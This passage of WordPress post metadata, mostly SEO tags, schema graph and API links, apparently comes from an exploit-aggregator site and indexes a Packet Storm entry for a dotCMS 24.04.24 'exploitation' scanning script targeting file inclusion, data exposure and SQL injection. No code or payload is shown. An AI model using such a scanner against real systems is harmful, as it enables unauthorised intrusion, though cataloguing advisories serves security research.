by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"43 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30773#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30773\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 dotCMS 24.04.24 Vulnerability Scanner_PACKETSTORM:212770\",\"datePublished\":\"2025-12-12T11:58:44+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30773\"},\"wordCount\":8453,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=30773#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30773\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30773\",\"name\":\"\ud83d\udcc4 dotCMS 24.04.24 Vulnerability Scanner_PACKETSTORM:212770 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-12T11:58:44+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30773#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=30773\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30773#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 dotCMS 24.04.24 Vulnerability Scanner_PACKETSTORM:212770\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 dotCMS 24.04.24 Vulnerability Scanner_PACKETSTORM:212770 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=30773","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 dotCMS 24.04.24 Vulnerability Scanner_PACKETSTORM:212770 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-12T17:15:30&#8243;,&#8221;description&#8221;:&#8221;dotCMS version 24.04.24 advanced exploitation python scanning script that looks for local file inclusion, data exposure, SQL injection, and more&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-12T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-12T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 dotCMS 24.04.24 Vulnerability Scanner&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212770&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================n |...","og_url":"https:\/\/zero.redgem.net\/?p=30773","og_site_name":"zero redgem","article_published_time":"2025-12-12T11:58:44+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"43 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=30773#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=30773"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 dotCMS 24.04.24 Vulnerability Scanner_PACKETSTORM:212770","datePublished":"2025-12-12T11:58:44+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=30773"},"wordCount":8453,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=30773#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=30773","url":"https:\/\/zero.redgem.net\/?p=30773","name":"\ud83d\udcc4 dotCMS 24.04.24 Vulnerability Scanner_PACKETSTORM:212770 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-12T11:58:44+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=30773#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=30773"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=30773#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 dotCMS 24.04.24 Vulnerability Scanner_PACKETSTORM:212770"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/30773","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=30773"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/30773\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=30773"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=30773"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=30773"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}